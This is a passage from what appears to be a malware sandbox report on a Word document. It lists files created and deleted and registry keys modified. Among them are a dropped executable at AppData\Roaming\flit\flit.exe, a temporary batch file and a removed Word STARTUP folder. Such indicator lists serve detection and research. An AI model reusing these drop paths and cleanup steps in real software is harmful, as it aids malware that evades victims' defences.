    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDFE31.tmp\\TabbedArc.glox",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDFA58.tmp\\Content.inf",
    "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328986fn=Theme Picture Grid.glox",
    "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03090434fn=Wood Type.thmx",
    "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM04033927fn=Main Event.thmx",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDFE90.tmp\\chicago.xsl",
    "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457485fn=Mesh.thmx",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDFF1D.tmp\\VaryingWidthList.glox",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDFFF9.tmp\\ieee2006officeonline.xsl",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCD67.tmp\\Text Sidebar (Annual Report Red and Black design).docx",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDFE31.tmp\\Content.inf",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCD143.tmp\\content.inf",
    "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328905fn=Chevron Accent.glox",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDFE90.tmp\\Content.inf",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDFF1D.tmp\\Content.inf",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCD67.tmp\\Content.inf",
    "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328951fn=Tabbed Arc.glox",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDFFF9.tmp\\Content.inf",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCD357.tmp\\APASixthEditionOfficeOnline.xsl",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCD143.tmp\\View.thmx",
    "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851217fn=chicago.xsl",
    "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328990fn=Varying Width List.glox",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCD357.tmp\\Content.inf",
    "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851222fn=ieee2006officeonline.xsl",
    "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457515fn=View.thmx",
    "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Building Blocks\\1033\\TM02835233fn=Text Sidebar (Annual Report Red and Black design).docx",
    "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851216fn=apasixtheditionofficeonline.xsl",
    "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\UProof\\CUSTOM.DIC",
    "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\~$Normal.dotm",
    "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRSC57FCCB5-161B-408F-B538-C2D50140AEFD.tmp",
    "C:\\Users\\user\\AppData\\Roaming\\flit\\flit.exe",
    "\\??\\PIPE\\wkssvc",
    "C:\\Users\\user\\AppData\\Local\\Temp\\aeaiCuO6.bat"


* Deleted Files:
    "C:\\Users\\user\\AppData\\Local\\Temp\\CabA73A.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TarA73B.tmp",
    "C:\\Users\\user\\AppData\\Local\\Microsoft\\Schemas\\MS Word_restart.xml",
    "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Word\\STARTUP\\",
    "C:\\Users\\user\\AppData\\Local\\Temp\\CabD852.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TarD853.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDDB88.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDDC17.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDDC85.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDDC96.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDDCD8.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDDD76.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDDCF8.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDDCD7.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDDDC5.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDDE33.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDDE34.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDDE35.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDDB88.tmp\\turabian.xsl",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDDF57.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDDE36.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDDE66.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDDE87.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDDEF7.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE034.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDDF17.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDDC85.tmp\\sist02.xsl",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDDD76.tmp\\InterconnectedBlockProcess.glox",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDDC96.tmp\\mlaseventheditionofficeonline.xsl",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDDC17.tmp\\rings.glox",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDDCD8.tmp\\Parallax.thmx",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDDE35.tmp\\iso690.xsl",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabD1EA.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE45D.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE6D2.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE5B8.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE45F.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabD1D8.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabD292.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDDE33.tmp\\TabList.glox",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabD20F.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabD52E.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabD1FB.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE7AE.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDDE36.tmp\\CircleProcess.glox",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDDCD7.tmp\\gb.xsl",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDDEF7.tmp\\harvardanglia2008officeonline.xsl",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDDE87.tmp\\Headlines.thmx",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDDE34.tmp\\HexagonRadial.glox",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDDDC5.tmp\\PictureFrame.glox",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE81C.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE8F8.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDDCF8.tmp\\gosttitle.xsl",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabDB68.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabD26F.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDEB6B.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDDE66.tmp\\Dividend.thmx",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabD52F.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabD331.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDEAED.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabD342.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE034.tmp\\Feathered.thmx",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabDC97.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE7AE.tmp\\BracketList.glox",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDDF17.tmp\\Metropolitan.thmx",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE81C.tmp\\Crop.thmx",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE6D2.tmp\\Droplet.thmx",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabD210.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDDF57.tmp\\Savon.thmx",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDEC18.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabD290.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDED53.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDEC97.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabD1FC.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDEFC7.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDEB6B.tmp\\ConvergingText.glox",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE8F8.tmp\\Element design set.dotx",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDEAED.tmp\\iso690nmerical.xsl",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabD831.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE45D.tmp\\gostname.xsl",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabDEA8.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabDA8C.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabDE77.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabD1C6.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF47B.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabD950.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE5B8.tmp\\Damask.thmx",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF5D4.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF608.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF5F6.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF5E5.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF5F7.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabDBE7.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabD2A2.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF5E6.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabD330.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDEC18.tmp\\Circuit.thmx",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE45F.tmp\\Quotable.thmx",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDED53.tmp\\Insight design set.dotx",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabD1FD.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDEFC7.tmp\\Frame.thmx",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDEC97.tmp\\Berlin.thmx",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabD820.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF791.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF781.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF7A2.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF7C4.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF7C2.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF7C3.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF871.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabE014.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF92E.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF5D4.tmp\\Badge.thmx",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF608.tmp\\Banded.thmx",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF5E5.tmp\\RadialPictureList.glox",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF5E6.tmp\\ThemePictureAccent.glox",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF5F7.tmp\\pictureorgchart.glox",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF47B.tmp\\Vapor_Trail.thmx",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF5F6.tmp\\Slate.thmx",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabE083.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabD98F.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabD9CF.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDFA58.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabE45E.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF781.tmp\\ThemePictureAlternatingAccent.glox",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF791.tmp\\Equations.dotx",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabDFE4.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF7C2.tmp\\Basis.thmx",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF7C3.tmp\\architecture.glox",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDFE31.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabD52D.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabD54F.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabD45D.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabD8E1.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF7C4.tmp\\ThemePictureGrid.glox",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF7A2.tmp\\Wood_Type.thmx",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF871.tmp\\Main_Event.thmx",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabEFA7.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDFE90.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF92E.tmp\\Mesh.thmx",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabD4AD.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabEC47.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDFF1D.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDFFF9.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCD67.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabD4FC.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabD291.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabD20E.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabD8E2.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCD143.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDFA58.tmp\\chevronaccent.glox",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCD357.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabEDA2.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabD5DD.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDFE31.tmp\\TabbedArc.glox",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabD51C.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabF647.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDFE90.tmp\\chicago.xsl",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDFF1D.tmp\\VaryingWidthList.glox",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDFFF9.tmp\\ieee2006officeonline.xsl",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCD143.tmp\\View.thmx",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCD67.tmp\\Text Sidebar (Annual Report Red and Black design).docx",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabD1C7.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabD4AC.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCD357.tmp\\APASixthEditionOfficeOnline.xsl",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabD28F.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabD352.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabD841.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabD1E9.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabDA4D.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabD1EB.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\~$tWire_4a19fe5ce4fa0fb677fcff63f860d9fa.doc",
    "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRSBAAE3184-58CA-4B30-9CD1-09410CF7F2F0.tmp",
    "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\~$Normal.dotm",
    "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRSC57FCCB5-161B-408F-B538-C2D50140AEFD.tmp",
    "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRSF8D8CBFD-F36C-43CB-AB02-B382207D5966.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\CVR9F1B.tmp.cvr",
    "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRFE7FD5319-E48F-46B4-A384-61B70D7EE029.tmp",
    "C:\\Users\\user\\AppData\\Roaming\\flit\\flit.exe"


* Modified Registry Keys:
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\StartupItems\\-e",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\RemoteClearDate",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1\\Last",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1\\0",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1\\0\\FilePath",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1\\0\\StartDate",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1\\0\\EndDate",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1\\0\\Properties",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1\\0\\Url",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\LastClean",
    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005119110000000000000000F01FEC\\Usage\\VBAFiles",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ReviewCycle",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ReviewCycle\\ReviewToken",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\CacheReady",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\LastRequest",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\DocumentRecovery",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\DocumentRecovery\\F4A9F8",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\DocumentRecovery\\F4A9F8\\F4A9F8",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\Common\\Cloud Storage",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ForceCacheRefresh",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OnceSucceeded",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\LastUpdate",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\NextUpdate",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Capabilities",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\ConnectMechanism",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\IsManaged",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\IsRemovable",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\ServiceOwner",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\SortOrder",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\SupportsMultiple",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\CapabilitiesMetadata",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Description",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Name",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\ServiceId",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\ServiceUrl",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Metadata",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Metadata\\KeyTip",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Metadata\\Type",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Thumbnails",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Thumbnails\\Url16x16",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Thumbnails\\Url32x32",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Thumbnails\\Url48x48",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Capabilities",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\ConnectMechanism",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\IsManaged",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\IsRemovable",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\ServiceOwner",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\SortOrder",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\SupportsMultiple",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\CapabilitiesMetadata",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Description",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Name",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\ServiceId",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\ServiceUrl",
